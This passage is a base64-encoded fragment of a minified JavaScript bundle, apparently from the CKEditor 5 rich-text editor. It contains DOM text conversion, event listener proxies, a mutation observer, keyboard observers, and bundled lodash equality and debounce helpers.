MuX2dldFRvdWNoaW5nVmlld1RleHROb2RlKHQsdHJ1ZSk7aWYoZS5jaGFyQXQoZS5sZW5ndGgtMik9PSIgInx8IW58fG4uZGF0YS5jaGFyQXQoMCk9PSIgIil7ZT1lLnN1YnN0cigwLGUubGVuZ3RoLTEpKyLCoCJ9fXJldHVybiBlLnJlcGxhY2UoLyB7Mn0vZywiIMKgIil9X25vZGVFbmRzV2l0aFNwYWNlKHQpe2lmKHQuZ2V0QW5jZXN0b3JzKCkuc29tZSgodD0+dGhpcy5wcmVFbGVtZW50cy5pbmNsdWRlcyh0Lm5hbWUpKSkpe3JldHVybiBmYWxzZX1jb25zdCBlPXRoaXMuX3Byb2Nlc3NEYXRhRnJvbVZpZXdUZXh0KHQpO3JldHVybiBlLmNoYXJBdChlLmxlbmd0aC0xKT09IiAifV9wcm9jZXNzRGF0YUZyb21Eb21UZXh0KHQpe2xldCBlPXQuZGF0YTtpZihXZCh0LHRoaXMucHJlRWxlbWVudHMpKXtyZXR1cm4gYmQodCl9ZT1lLnJlcGxhY2UoL1sgXG5cdFxyXXsxLH0vZywiICIpO2NvbnN0IG49dGhpcy5fZ2V0VG91Y2hpbmdJbmxpbmVEb21Ob2RlKHQsZmFsc2UpO2NvbnN0IGk9dGhpcy5fZ2V0VG91Y2hpbmdJbmxpbmVEb21Ob2RlKHQsdHJ1ZSk7Y29uc3Qgbz10aGlzLl9jaGVja1Nob3VsZExlZnRUcmltRG9tVGV4dCh0LG4pO2NvbnN0IHI9dGhpcy5fY2hlY2tTaG91bGRSaWdodFRyaW1Eb21UZXh0KHQsaSk7aWYobyl7ZT1lLnJlcGxhY2UoL14gLywiIil9aWYocil7ZT1lLnJlcGxhY2UoLyAkLywiIil9ZT1iZChuZXcgVGV4dChlKSk7ZT1lLnJlcGxhY2UoLyBcdTAwQTAvZywiICAiKTtpZigvKCB8XHUwMEEwKVx1MDBBMCQvLnRlc3QoZSl8fCFpfHxpLmRhdGEmJmkuZGF0YS5jaGFyQXQoMCk9PSIgIil7ZT1lLnJlcGxhY2UoL1x1MDBBMCQvLCIgIil9aWYobyl7ZT1lLnJlcGxhY2UoL15cdTAwQTAvLCIgIil9cmV0dXJuIGV9X2NoZWNrU2hvdWxkTGVmdFRyaW1Eb21UZXh0KHQsZSl7aWYoIWUpe3JldHVybiB0cnVlfWlmKFlyKGUpKXtyZXR1cm4gdHJ1ZX1pZih0aGlzLl9lbmNvdW50ZXJlZFJhd0NvbnRlbnREb21Ob2Rlcy5oYXModC5wcmV2aW91c1NpYmxpbmcpKXtyZXR1cm4gZmFsc2V9cmV0dXJuL1teXFNcdTAwQTBdLy50ZXN0KGUuZGF0YS5jaGFyQXQoZS5kYXRhLmxlbmd0aC0xKSl9X2NoZWNrU2hvdWxkUmlnaHRUcmltRG9tVGV4dCh0LGUpe2lmKGUpe3JldHVybiBmYWxzZX1yZXR1cm4hcGQodCl9X2dldFRvdWNoaW5nVmlld1RleHROb2RlKHQsZSl7Y29uc3Qgbj1uZXcgdWwoe3N0YXJ0UG9zaXRpb246ZT9obC5fY3JlYXRlQWZ0ZXIodCk6aGwuX2NyZWF0ZUJlZm9yZSh0KSxkaXJlY3Rpb246ZT8iZm9yd2FyZCI6ImJhY2t3YXJkIn0pO2Zvcihjb25zdCB0IG9mIG4pe2lmKHQuaXRlbS5pcygiY29udGFpbmVyRWxlbWVudCIpKXtyZXR1cm4gbnVsbH1lbHNlIGlmKHQuaXRlbS5pcygiZWxlbWVudCIsImJyIikpe3JldHVybiBudWxsfWVsc2UgaWYodC5pdGVtLmlzKCIkdGV4dFByb3h5Iikpe3JldHVybiB0Lml0ZW19fXJldHVybiBudWxsfV9nZXRUb3VjaGluZ0lubGluZURvbU5vZGUodCxlKXtpZighdC5wYXJlbnROb2RlKXtyZXR1cm4gbnVsbH1jb25zdCBuPWU/Im5leHROb2RlIjoicHJldmlvdXNOb2RlIjtjb25zdCBpPXQub3duZXJEb2N1bWVudDtjb25zdCBvPVZkKHQpWzBdO2NvbnN0IHI9aS5jcmVhdGVUcmVlV2Fsa2VyKG8sTm9kZUZpbHRlci5TSE9XX1RFWFR8Tm9kZUZpbHRlci5TSE9XX0VMRU1FTlQse2FjY2VwdE5vZGUodCl7aWYodWQodCkpe3JldHVybiBOb2RlRmlsdGVyLkZJTFRFUl9BQ0NFUFR9aWYodC50YWdOYW1lPT0iQlIiKXtyZXR1cm4gTm9kZUZpbHRlci5GSUxURVJfQUNDRVBUfXJldHVybiBOb2RlRmlsdGVyLkZJTFRFUl9TS0lQfX0pO3IuY3VycmVudE5vZGU9dDtjb25zdCBzPXJbbl0oKTtpZihzIT09bnVsbCl7Y29uc3QgZT1VZCh0LHMpO2lmKGUmJiFXZCh0LHRoaXMuYmxvY2tFbGVtZW50cyxlKSYmIVdkKHMsdGhpcy5ibG9ja0VsZW1lbnRzLGUpKXtyZXR1cm4gc319cmV0dXJuIG51bGx9fWZ1bmN0aW9uIFdkKHQsZSxuKXtsZXQgaT1WZCh0KTtpZihuKXtpPWkuc2xpY2UoaS5pbmRleE9mKG4pKzEpfXJldHVybiBpLnNvbWUoKHQ9PnQudGFnTmFtZSYmZS5pbmNsdWRlcyh0LnRhZ05hbWUudG9Mb3dlckNhc2UoKSkpKX1mdW5jdGlvbiBLZCh0LGUpe3doaWxlKHQmJnQhPWpkLmRvY3VtZW50KXtlKHQpO3Q9dC5wYXJlbnROb2RlfX1mdW5jdGlvbiBxZCh0LGUpe2NvbnN0IG49dWQodCkmJnQuZGF0YT09IsKgIjtyZXR1cm4gbiYmWWQodCxlKSYmdC5wYXJlbnROb2RlLmNoaWxkTm9kZXMubGVuZ3RoPT09MX1mdW5jdGlvbiBZZCh0LGUpe2NvbnN0IG49dC5wYXJlbnROb2RlO3JldHVybiBuJiZuLnRhZ05hbWUmJmUuaW5jbHVkZXMobi50YWdOYW1lLnRvTG93ZXJDYXNlKCkpfWZ1bmN0aW9uIFFkKHQpe2NvbnN0IGU9T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5hcHBseSh0KTtpZihlPT0iW29iamVjdCBXaW5kb3ddIil7cmV0dXJuIHRydWV9aWYoZT09IltvYmplY3QgZ2xvYmFsXSIpe3JldHVybiB0cnVlfXJldHVybiBmYWxzZX1jb25zdCAkZD1LYyh7fSxkcyx7bGlzdGVuVG8odCwuLi5lKXtpZihUZCh0KXx8UWQodCkpe2NvbnN0IG49dGhpcy5fZ2V0UHJveHlFbWl0dGVyKHQpfHxuZXcgWmQodCk7bi5hdHRhY2goLi4uZSk7dD1ufWRzLmxpc3RlblRvLmNhbGwodGhpcyx0LC4uLmUpfSxzdG9wTGlzdGVuaW5nKHQsZSxuKXtpZihUZCh0KXx8UWQodCkpe2NvbnN0IGU9dGhpcy5fZ2V0UHJveHlFbWl0dGVyKHQpO2lmKCFlKXtyZXR1cm59dD1lfWRzLnN0b3BMaXN0ZW5pbmcuY2FsbCh0aGlzLHQsZSxuKTtpZih0IGluc3RhbmNlb2YgWmQpe3QuZGV0YWNoKGUpfX0sX2dldFByb3h5RW1pdHRlcih0KXtyZXR1cm4gdXModGhpcyxYZCh0KSl9fSk7dmFyIEpkPSRkO2NsYXNzIFpke2NvbnN0cnVjdG9yKHQpe2hzKHRoaXMsWGQodCkpO3RoaXMuX2RvbU5vZGU9dH19S2MoWmQucHJvdG90eXBlLGRzLHthdHRhY2godCxlLG49e30pe2lmKHRoaXMuX2RvbUxpc3RlbmVycyYmdGhpcy5fZG9tTGlzdGVuZXJzW3RdKXtyZXR1cm59Y29uc3QgaT17Y2FwdHVyZTohIW4udXNlQ2FwdHVyZSxwYXNzaXZlOiEhbi51c2VQYXNzaXZlfTtjb25zdCBvPXRoaXMuX2NyZWF0ZURvbUxpc3RlbmVyKHQsaSk7dGhpcy5fZG9tTm9kZS5hZGRFdmVudExpc3RlbmVyKHQsbyxpKTtpZighdGhpcy5fZG9tTGlzdGVuZXJzKXt0aGlzLl9kb21MaXN0ZW5lcnM9e319dGhpcy5fZG9tTGlzdGVuZXJzW3RdPW99LGRldGFjaCh0KXtsZXQgZTtpZih0aGlzLl9kb21MaXN0ZW5lcnNbdF0mJighKGU9dGhpcy5fZXZlbnRzW3RdKXx8IWUuY2FsbGJhY2tzLmxlbmd0aCkpe3RoaXMuX2RvbUxpc3RlbmVyc1t0XS5yZW1vdmVMaXN0ZW5lcigpfX0sX2NyZWF0ZURvbUxpc3RlbmVyKHQsZSl7Y29uc3Qgbj1lPT57dGhpcy5maXJlKHQsZSl9O24ucmVtb3ZlTGlzdGVuZXI9KCk9Pnt0aGlzLl9kb21Ob2RlLnJlbW92ZUV2ZW50TGlzdGVuZXIodCxuLGUpO2RlbGV0ZSB0aGlzLl9kb21MaXN0ZW5lcnNbdF19O3JldHVybiBufX0pO2Z1bmN0aW9uIFhkKHQpe3JldHVybiB0WyJkYXRhLWNrLWV4cGFuZG8iXXx8KHRbImRhdGEtY2stZXhwYW5kbyJdPW5zKCkpfWNsYXNzIHR1e2NvbnN0cnVjdG9yKHQpe3RoaXMudmlldz10O3RoaXMuZG9jdW1lbnQ9dC5kb2N1bWVudDt0aGlzLmlzRW5hYmxlZD1mYWxzZX1lbmFibGUoKXt0aGlzLmlzRW5hYmxlZD10cnVlfWRpc2FibGUoKXt0aGlzLmlzRW5hYmxlZD1mYWxzZX1kZXN0cm95KCl7dGhpcy5kaXNhYmxlKCk7dGhpcy5zdG9wTGlzdGVuaW5nKCl9Y2hlY2tTaG91bGRJZ25vcmVFdmVudEZyb21UYXJnZXQodCl7aWYodCYmdC5ub2RlVHlwZT09PTMpe3Q9dC5wYXJlbnROb2RlfWlmKCF0fHx0Lm5vZGVUeXBlIT09MSl7cmV0dXJuIGZhbHNlfXJldHVybiB0Lm1hdGNoZXMoIltkYXRhLWNrZS1pZ25vcmUtZXZlbnRzXSwgW2RhdGEtY2tlLWlnbm9yZS1ldmVudHNdICoiKX19X3ModHUsSmQpO3ZhciBldT0iX19sb2Rhc2hfaGFzaF91bmRlZmluZWRfXyI7ZnVuY3Rpb24gbnUodCl7dGhpcy5fX2RhdGFfXy5zZXQodCxldSk7cmV0dXJuIHRoaXN9dmFyIGl1PW51O2Z1bmN0aW9uIG91KHQpe3JldHVybiB0aGlzLl9fZGF0YV9fLmhhcyh0KX12YXIgcnU9b3U7ZnVuY3Rpb24gc3UodCl7dmFyIGU9LTEsbj10PT1udWxsPzA6dC5sZW5ndGg7dGhpcy5fX2RhdGFfXz1uZXcgQ2U7d2hpbGUoKytlPG4pe3RoaXMuYWRkKHRbZV0pfX1zdS5wcm90b3R5cGUuYWRkPXN1LnByb3RvdHlwZS5wdXNoPWl1O3N1LnByb3RvdHlwZS5oYXM9cnU7dmFyIGF1PXN1O2Z1bmN0aW9uIGN1KHQsZSl7dmFyIG49LTEsaT10PT1udWxsPzA6dC5sZW5ndGg7d2hpbGUoKytuPGkpe2lmKGUodFtuXSxuLHQpKXtyZXR1cm4gdHJ1ZX19cmV0dXJuIGZhbHNlfXZhciBsdT1jdTtmdW5jdGlvbiBkdSh0LGUpe3JldHVybiB0LmhhcyhlKX12YXIgdXU9ZHU7dmFyIGh1PTEsZnU9MjtmdW5jdGlvbiBtdSh0LGUsbixpLG8scil7dmFyIHM9biZodSxhPXQubGVuZ3RoLGM9ZS5sZW5ndGg7aWYoYSE9YyYmIShzJiZjPmEpKXtyZXR1cm4gZmFsc2V9dmFyIGw9ci5nZXQodCk7aWYobCYmci5nZXQoZSkpe3JldHVybiBsPT1lfXZhciBkPS0xLHU9dHJ1ZSxoPW4mZnU/bmV3IGF1OnVuZGVmaW5lZDtyLnNldCh0LGUpO3Iuc2V0KGUsdCk7d2hpbGUoKytkPGEpe3ZhciBmPXRbZF0sbT1lW2RdO2lmKGkpe3ZhciBnPXM/aShtLGYsZCxlLHQscik6aShmLG0sZCx0LGUscil9aWYoZyE9PXVuZGVmaW5lZCl7aWYoZyl7Y29udGludWV9dT1mYWxzZTticmVha31pZihoKXtpZighbHUoZSwoZnVuY3Rpb24odCxlKXtpZighdXUoaCxlKSYmKGY9PT10fHxvKGYsdCxuLGkscikpKXtyZXR1cm4gaC5wdXNoKGUpfX0pKSl7dT1mYWxzZTticmVha319ZWxzZSBpZighKGY9PT1tfHxvKGYsbSxuLGkscikpKXt1PWZhbHNlO2JyZWFrfX1yWyJkZWxldGUiXSh0KTtyWyJkZWxldGUiXShlKTtyZXR1cm4gdX12YXIgZ3U9bXU7ZnVuY3Rpb24gcHUodCl7dmFyIGU9LTEsbj1BcnJheSh0LnNpemUpO3QuZm9yRWFjaCgoZnVuY3Rpb24odCxpKXtuWysrZV09W2ksdF19KSk7cmV0dXJuIG59dmFyIGt1PXB1O2Z1bmN0aW9uIGJ1KHQpe3ZhciBlPS0xLG49QXJyYXkodC5zaXplKTt0LmZvckVhY2goKGZ1bmN0aW9uKHQpe25bKytlXT10fSkpO3JldHVybiBufXZhciB3dT1idTt2YXIgQ3U9MSxBdT0yO3ZhciBfdT0iW29iamVjdCBCb29sZWFuXSIsdnU9IltvYmplY3QgRGF0ZV0iLHl1PSJbb2JqZWN0IEVycm9yXSIseHU9IltvYmplY3QgTWFwXSIsRHU9IltvYmplY3QgTnVtYmVyXSIsRXU9IltvYmplY3QgUmVnRXhwXSIsTXU9IltvYmplY3QgU2V0XSIsU3U9IltvYmplY3QgU3RyaW5nXSIsVHU9IltvYmplY3QgU3ltYm9sXSI7dmFyIEl1PSJbb2JqZWN0IEFycmF5QnVmZmVyXSIsTnU9IltvYmplY3QgRGF0YVZpZXddIjt2YXIgQnU9cj9yLnByb3RvdHlwZTp1bmRlZmluZWQsUHU9QnU/QnUudmFsdWVPZjp1bmRlZmluZWQ7ZnVuY3Rpb24genUodCxlLG4saSxvLHIscyl7c3dpdGNoKG4pe2Nhc2UgTnU6aWYodC5ieXRlTGVuZ3RoIT1lLmJ5dGVMZW5ndGh8fHQuYnl0ZU9mZnNldCE9ZS5ieXRlT2Zmc2V0KXtyZXR1cm4gZmFsc2V9dD10LmJ1ZmZlcjtlPWUuYnVmZmVyO2Nhc2UgSXU6aWYodC5ieXRlTGVuZ3RoIT1lLmJ5dGVMZW5ndGh8fCFyKG5ldyBmbyh0KSxuZXcgZm8oZSkpKXtyZXR1cm4gZmFsc2V9cmV0dXJuIHRydWU7Y2FzZSBfdTpjYXNlIHZ1OmNhc2UgRHU6cmV0dXJuIFIoK3QsK2UpO2Nhc2UgeXU6cmV0dXJuIHQubmFtZT09ZS5uYW1lJiZ0Lm1lc3NhZ2U9PWUubWVzc2FnZTtjYXNlIEV1OmNhc2UgU3U6cmV0dXJuIHQ9PWUrIiI7Y2FzZSB4dTp2YXIgYT1rdTtjYXNlIE11OnZhciBjPWkmQ3U7YXx8KGE9d3UpO2lmKHQuc2l6ZSE9ZS5zaXplJiYhYyl7cmV0dXJuIGZhbHNlfXZhciBsPXMuZ2V0KHQpO2lmKGwpe3JldHVybiBsPT1lfWl8PUF1O3Muc2V0KHQsZSk7dmFyIGQ9Z3UoYSh0KSxhKGUpLGksbyxyLHMpO3NbImRlbGV0ZSJdKHQpO3JldHVybiBkO2Nhc2UgVHU6aWYoUHUpe3JldHVybiBQdS5jYWxsKHQpPT1QdS5jYWxsKGUpfX1yZXR1cm4gZmFsc2V9dmFyIEx1PXp1O3ZhciBPdT0xO3ZhciBSdT1PYmplY3QucHJvdG90eXBlO3ZhciBqdT1SdS5oYXNPd25Qcm9wZXJ0eTtmdW5jdGlvbiBGdSh0LGUsbixpLG8scil7dmFyIHM9biZPdSxhPU9pKHQpLGM9YS5sZW5ndGgsbD1PaShlKSxkPWwubGVuZ3RoO2lmKGMhPWQmJiFzKXtyZXR1cm4gZmFsc2V9dmFyIHU9Yzt3aGlsZSh1LS0pe3ZhciBoPWFbdV07aWYoIShzP2ggaW4gZTpqdS5jYWxsKGUsaCkpKXtyZXR1cm4gZmFsc2V9fXZhciBmPXIuZ2V0KHQpO2lmKGYmJnIuZ2V0KGUpKXtyZXR1cm4gZj09ZX12YXIgbT10cnVlO3Iuc2V0KHQsZSk7ci5zZXQoZSx0KTt2YXIgZz1zO3doaWxlKCsrdTxjKXtoPWFbdV07dmFyIHA9dFtoXSxrPWVbaF07aWYoaSl7dmFyIGI9cz9pKGsscCxoLGUsdCxyKTppKHAsayxoLHQsZSxyKX1pZighKGI9PT11bmRlZmluZWQ/cD09PWt8fG8ocCxrLG4saSxyKTpiKSl7bT1mYWxzZTticmVha31nfHwoZz1oPT0iY29uc3RydWN0b3IiKX1pZihtJiYhZyl7dmFyIHc9dC5jb25zdHJ1Y3RvcixDPWUuY29uc3RydWN0b3I7aWYodyE9QyYmKCJjb25zdHJ1Y3RvciJpbiB0JiYiY29uc3RydWN0b3IiaW4gZSkmJiEodHlwZW9mIHc9PSJmdW5jdGlvbiImJncgaW5zdGFuY2VvZiB3JiZ0eXBlb2YgQz09ImZ1bmN0aW9uIiYmQyBpbnN0YW5jZW9mIEMpKXttPWZhbHNlfX1yWyJkZWxldGUiXSh0KTtyWyJkZWxldGUiXShlKTtyZXR1cm4gbX12YXIgVnU9RnU7dmFyIFV1PTE7dmFyIEh1PSJbb2JqZWN0IEFyZ3VtZW50c10iLEd1PSJbb2JqZWN0IEFycmF5XSIsV3U9IltvYmplY3QgT2JqZWN0XSI7dmFyIEt1PU9iamVjdC5wcm90b3R5cGU7dmFyIHF1PUt1Lmhhc093blByb3BlcnR5O2Z1bmN0aW9uIFl1KHQsZSxuLGksbyxyKXt2YXIgcz1RZSh0KSxhPVFlKGUpLGM9cz9HdTpzbyh0KSxsPWE/R3U6c28oZSk7Yz1jPT1IdT9XdTpjO2w9bD09SHU/V3U6bDt2YXIgZD1jPT1XdSx1PWw9PVd1LGg9Yz09bDtpZihoJiZPYmplY3QoJGVbImEiXSkodCkpe2lmKCFPYmplY3QoJGVbImEiXSkoZSkpe3JldHVybiBmYWxzZX1zPXRydWU7ZD1mYWxzZX1pZihoJiYhZCl7cnx8KHI9bmV3IHhlKTtyZXR1cm4gc3x8T24odCk/Z3UodCxlLG4saSxvLHIpOkx1KHQsZSxjLG4saSxvLHIpfWlmKCEobiZVdSkpe3ZhciBmPWQmJnF1LmNhbGwodCwiX193cmFwcGVkX18iKSxtPXUmJnF1LmNhbGwoZSwiX193cmFwcGVkX18iKTtpZihmfHxtKXt2YXIgZz1mP3QudmFsdWUoKTp0LHA9bT9lLnZhbHVlKCk6ZTtyfHwocj1uZXcgeGUpO3JldHVybiBvKGcscCxuLGkscil9fWlmKCFoKXtyZXR1cm4gZmFsc2V9cnx8KHI9bmV3IHhlKTtyZXR1cm4gVnUodCxlLG4saSxvLHIpfXZhciBRdT1ZdTtmdW5jdGlvbiAkdSh0LGUsbixpLG8pe2lmKHQ9PT1lKXtyZXR1cm4gdHJ1ZX1pZih0PT1udWxsfHxlPT1udWxsfHwhRCh0KSYmIUQoZSkpe3JldHVybiB0IT09dCYmZSE9PWV9cmV0dXJuIFF1KHQsZSxuLGksJHUsbyl9dmFyIEp1PSR1O2Z1bmN0aW9uIFp1KHQsZSxuKXtuPXR5cGVvZiBuPT0iZnVuY3Rpb24iP246dW5kZWZpbmVkO3ZhciBpPW4/bih0LGUpOnVuZGVmaW5lZDtyZXR1cm4gaT09PXVuZGVmaW5lZD9KdSh0LGUsdW5kZWZpbmVkLG4pOiEhaX12YXIgWHU9WnU7Y2xhc3MgdGggZXh0ZW5kcyB0dXtjb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0aGlzLl9jb25maWc9e2NoaWxkTGlzdDp0cnVlLGNoYXJhY3RlckRhdGE6dHJ1ZSxjaGFyYWN0ZXJEYXRhT2xkVmFsdWU6dHJ1ZSxzdWJ0cmVlOnRydWV9O3RoaXMuZG9tQ29udmVydGVyPXQuZG9tQ29udmVydGVyO3RoaXMucmVuZGVyZXI9dC5fcmVuZGVyZXI7dGhpcy5fZG9tRWxlbWVudHM9W107dGhpcy5fbXV0YXRpb25PYnNlcnZlcj1uZXcgd2luZG93Lk11dGF0aW9uT2JzZXJ2ZXIodGhpcy5fb25NdXRhdGlvbnMuYmluZCh0aGlzKSl9Zmx1c2goKXt0aGlzLl9vbk11dGF0aW9ucyh0aGlzLl9tdXRhdGlvbk9ic2VydmVyLnRha2VSZWNvcmRzKCkpfW9ic2VydmUodCl7dGhpcy5fZG9tRWxlbWVudHMucHVzaCh0KTtpZih0aGlzLmlzRW5hYmxlZCl7dGhpcy5fbXV0YXRpb25PYnNlcnZlci5vYnNlcnZlKHQsdGhpcy5fY29uZmlnKX19ZW5hYmxlKCl7c3VwZXIuZW5hYmxlKCk7Zm9yKGNvbnN0IHQgb2YgdGhpcy5fZG9tRWxlbWVudHMpe3RoaXMuX211dGF0aW9uT2JzZXJ2ZXIub2JzZXJ2ZSh0LHRoaXMuX2NvbmZpZyl9fWRpc2FibGUoKXtzdXBlci5kaXNhYmxlKCk7dGhpcy5fbXV0YXRpb25PYnNlcnZlci5kaXNjb25uZWN0KCl9ZGVzdHJveSgpe3N1cGVyLmRlc3Ryb3koKTt0aGlzLl9tdXRhdGlvbk9ic2VydmVyLmRpc2Nvbm5lY3QoKX1fb25NdXRhdGlvbnModCl7aWYodC5sZW5ndGg9PT0wKXtyZXR1cm59Y29uc3QgZT10aGlzLmRvbUNvbnZlcnRlcjtjb25zdCBuPW5ldyBNYXA7Y29uc3QgaT1uZXcgU2V0O2Zvcihjb25zdCBuIG9mIHQpe2lmKG4udHlwZT09PSJjaGlsZExpc3QiKXtjb25zdCB0PWUubWFwRG9tVG9WaWV3KG4udGFyZ2V0KTtpZih0JiYodC5pcygidWlFbGVtZW50Iil8fHQuaXMoInJhd0VsZW1lbnQiKSkpe2NvbnRpbnVlfWlmKHQmJiF0aGlzLl9pc0JvZ3VzQnJNdXRhdGlvbihuKSl7aS5hZGQodCl9fX1mb3IoY29uc3QgbyBvZiB0KXtjb25zdCB0PWUubWFwRG9tVG9WaWV3KG8udGFyZ2V0KTtpZih0JiYodC5pcygidWlFbGVtZW50Iil8fHQuaXMoInJhd0VsZW1lbnQiKSkpe2NvbnRpbnVlfWlmKG8udHlwZT09PSJjaGFyYWN0ZXJEYXRhIil7Y29uc3QgdD1lLmZpbmRDb3JyZXNwb25kaW5nVmlld1RleHQoby50YXJnZXQpO2lmKHQmJiFpLmhhcyh0LnBhcmVudCkpe24uc2V0KHQse3R5cGU6InRleHQiLG9sZFRleHQ6dC5kYXRhLG5ld1RleHQ6YmQoby50YXJnZXQpLG5vZGU6dH0pfWVsc2UgaWYoIXQmJnBkKG8udGFyZ2V0KSl7aS5hZGQoZS5tYXBEb21Ub1ZpZXcoby50YXJnZXQucGFyZW50Tm9kZSkpfX19Y29uc3Qgbz1bXTtmb3IoY29uc3QgdCBvZiBuLnZhbHVlcygpKXt0aGlzLnJlbmRlcmVyLm1hcmtUb1N5bmMoInRleHQiLHQubm9kZSk7by5wdXNoKHQpfWZvcihjb25zdCB0IG9mIGkpe2NvbnN0IG49ZS5tYXBWaWV3VG9Eb20odCk7Y29uc3QgaT1BcnJheS5mcm9tKHQuZ2V0Q2hpbGRyZW4oKSk7Y29uc3Qgcj1BcnJheS5mcm9tKGUuZG9tQ2hpbGRyZW5Ub1ZpZXcobix7d2l0aENoaWxkcmVuOmZhbHNlfSkpO2lmKCFYdShpLHIsYSkpe3RoaXMucmVuZGVyZXIubWFya1RvU3luYygiY2hpbGRyZW4iLHQpO28ucHVzaCh7dHlwZToiY2hpbGRyZW4iLG9sZENoaWxkcmVuOmksbmV3Q2hpbGRyZW46cixub2RlOnR9KX19Y29uc3Qgcj10WzBdLnRhcmdldC5vd25lckRvY3VtZW50LmdldFNlbGVjdGlvbigpO2xldCBzPW51bGw7aWYociYmci5hbmNob3JOb2RlKXtjb25zdCB0PWUuZG9tUG9zaXRpb25Ub1ZpZXcoci5hbmNob3JOb2RlLHIuYW5jaG9yT2Zmc2V0KTtjb25zdCBuPWUuZG9tUG9zaXRpb25Ub1ZpZXcoci5mb2N1c05vZGUsci5mb2N1c09mZnNldCk7aWYodCYmbil7cz1uZXcgcGwodCk7cy5zZXRGb2N1cyhuKX19aWYoby5sZW5ndGgpe3RoaXMuZG9jdW1lbnQuZmlyZSgibXV0YXRpb25zIixvLHMpO3RoaXMudmlldy5mb3JjZVJlbmRlcigpfWZ1bmN0aW9uIGEodCxlKXtpZihBcnJheS5pc0FycmF5KHQpKXtyZXR1cm59aWYodD09PWUpe3JldHVybiB0cnVlfWVsc2UgaWYodC5pcygiJHRleHQiKSYmZS5pcygiJHRleHQiKSl7cmV0dXJuIHQuZGF0YT09PWUuZGF0YX1yZXR1cm4gZmFsc2V9fV9pc0JvZ3VzQnJNdXRhdGlvbih0KXtsZXQgZT1udWxsO2lmKHQubmV4dFNpYmxpbmc9PT1udWxsJiZ0LnJlbW92ZWROb2Rlcy5sZW5ndGg9PT0wJiZ0LmFkZGVkTm9kZXMubGVuZ3RoPT0xKXtlPXRoaXMuZG9tQ29udmVydGVyLmRvbVRvVmlldyh0LmFkZGVkTm9kZXNbMF0se3dpdGhDaGlsZHJlbjpmYWxzZX0pfXJldHVybiBlJiZlLmlzKCJlbGVtZW50IiwiYnIiKX19Y2xhc3MgZWh7Y29uc3RydWN0b3IodCxlLG4pe3RoaXMudmlldz10O3RoaXMuZG9jdW1lbnQ9dC5kb2N1bWVudDt0aGlzLmRvbUV2ZW50PWU7dGhpcy5kb21UYXJnZXQ9ZS50YXJnZXQ7S2ModGhpcyxuKX1nZXQgdGFyZ2V0KCl7cmV0dXJuIHRoaXMudmlldy5kb21Db252ZXJ0ZXIubWFwRG9tVG9WaWV3KHRoaXMuZG9tVGFyZ2V0KX1wcmV2ZW50RGVmYXVsdCgpe3RoaXMuZG9tRXZlbnQucHJldmVudERlZmF1bHQoKX1zdG9wUHJvcGFnYXRpb24oKXt0aGlzLmRvbUV2ZW50LnN0b3BQcm9wYWdhdGlvbigpfX1jbGFzcyBuaCBleHRlbmRzIHR1e2NvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMudXNlQ2FwdHVyZT1mYWxzZX1vYnNlcnZlKHQpe2NvbnN0IGU9dHlwZW9mIHRoaXMuZG9tRXZlbnRUeXBlPT0ic3RyaW5nIj9bdGhpcy5kb21FdmVudFR5cGVdOnRoaXMuZG9tRXZlbnRUeXBlO2UuZm9yRWFjaCgoZT0+e3RoaXMubGlzdGVuVG8odCxlLCgodCxlKT0+e2lmKHRoaXMuaXNFbmFibGVkJiYhdGhpcy5jaGVja1Nob3VsZElnbm9yZUV2ZW50RnJvbVRhcmdldChlLnRhcmdldCkpe3RoaXMub25Eb21FdmVudChlKX19KSx7dXNlQ2FwdHVyZTp0aGlzLnVzZUNhcHR1cmV9KX0pKX1maXJlKHQsZSxuKXtpZih0aGlzLmlzRW5hYmxlZCl7dGhpcy5kb2N1bWVudC5maXJlKHQsbmV3IGVoKHRoaXMudmlldyxlLG4pKX19fWNsYXNzIGloIGV4dGVuZHMgbmh7Y29uc3RydWN0b3IodCl7c3VwZXIodCk7dGhpcy5kb21FdmVudFR5cGU9WyJrZXlkb3duIiwia2V5dXAiXX1vbkRvbUV2ZW50KHQpe3RoaXMuZmlyZSh0LnR5cGUsdCx7a2V5Q29kZTp0LmtleUNvZGUsYWx0S2V5OnQuYWx0S2V5LGN0cmxLZXk6dC5jdHJsS2V5fHx0Lm1ldGFLZXksc2hpZnRLZXk6dC5zaGlmdEtleSxnZXQga2V5c3Ryb2tlKCl7cmV0dXJuIE9sKHRoaXMpfX0pfX12YXIgb2g9ZnVuY3Rpb24oKXtyZXR1cm4gaVsiYSJdLkRhdGUubm93KCl9O3ZhciByaD1vaDt2YXIgc2g9MC8wO3ZhciBhaD0vXlxzK3xccyskL2c7dmFyIGNoPS9eWy0rXTB4WzAtOWEtZl0rJC9pO3ZhciBsaD0vXjBiWzAxXSskL2k7dmFyIGRoPS9eMG9bMC03XSskL2k7dmFyIHVoPXBhcnNlSW50O2Z1bmN0aW9uIGhoKHQpe2lmKHR5cGVvZiB0PT0ibnVtYmVyIil7cmV0dXJuIHR9aWYoWHModCkpe3JldHVybiBzaH1pZihjdCh0KSl7dmFyIGU9dHlwZW9mIHQudmFsdWVPZj09ImZ1bmN0aW9uIj90LnZhbHVlT2YoKTp0O3Q9Y3QoZSk/ZSsiIjplfWlmKHR5cGVvZiB0IT0ic3RyaW5nIil7cmV0dXJuIHQ9PT0wP3Q6K3R9dD10LnJlcGxhY2UoYWgsIiIpO3ZhciBuPWxoLnRlc3QodCk7cmV0dXJuIG58fGRoLnRlc3QodCk/dWgodC5zbGljZSgyKSxuPzI6OCk6Y2gudGVzdCh0KT9zaDordH12YXIgZmg9aGg7dmFyIG1oPSJFeHBlY3RlZCBhIGZ1bmN0aW9uIjt2YXIgZ2g9TWF0aC5tYXgscGg9TWF0aC5taW47ZnVuY3Rpb24ga2godCxlLG4pe3ZhciBpLG8scixzLGEsYyxsPTAsZD1mYWxzZSx1PWZhbHNlLGg9dHJ1ZTtpZih0eXBlb2YgdCE9ImZ1bmN0aW9uIil7dGhyb3cgbmV3IFR5cGVFcnJvcihtaCl9ZT1maChlKXx8MDtpZihjdChuKSl7ZD0hIW4ubGVhZGluZzt1PSJtYXhXYWl0ImluIG47cj11P2doKGZoKG4ubWF4V2FpdCl8fDAsZSk6cjtoPSJ0cmFpbGluZyJpbiBuPyEhbi50cmFpbGluZzpofWZ1bmN0aW9uIGYoZSl7dmFyIG49aSxyPW87aT1vPXVuZGVmaW5lZDtsPWU7cz10LmFwcGx5KHIsbik7cmV0dXJuIHN9ZnVuY3Rpb24gbSh0KXtsPXQ7YT1zZXRUaW1lb3V0KGssZSk7cmV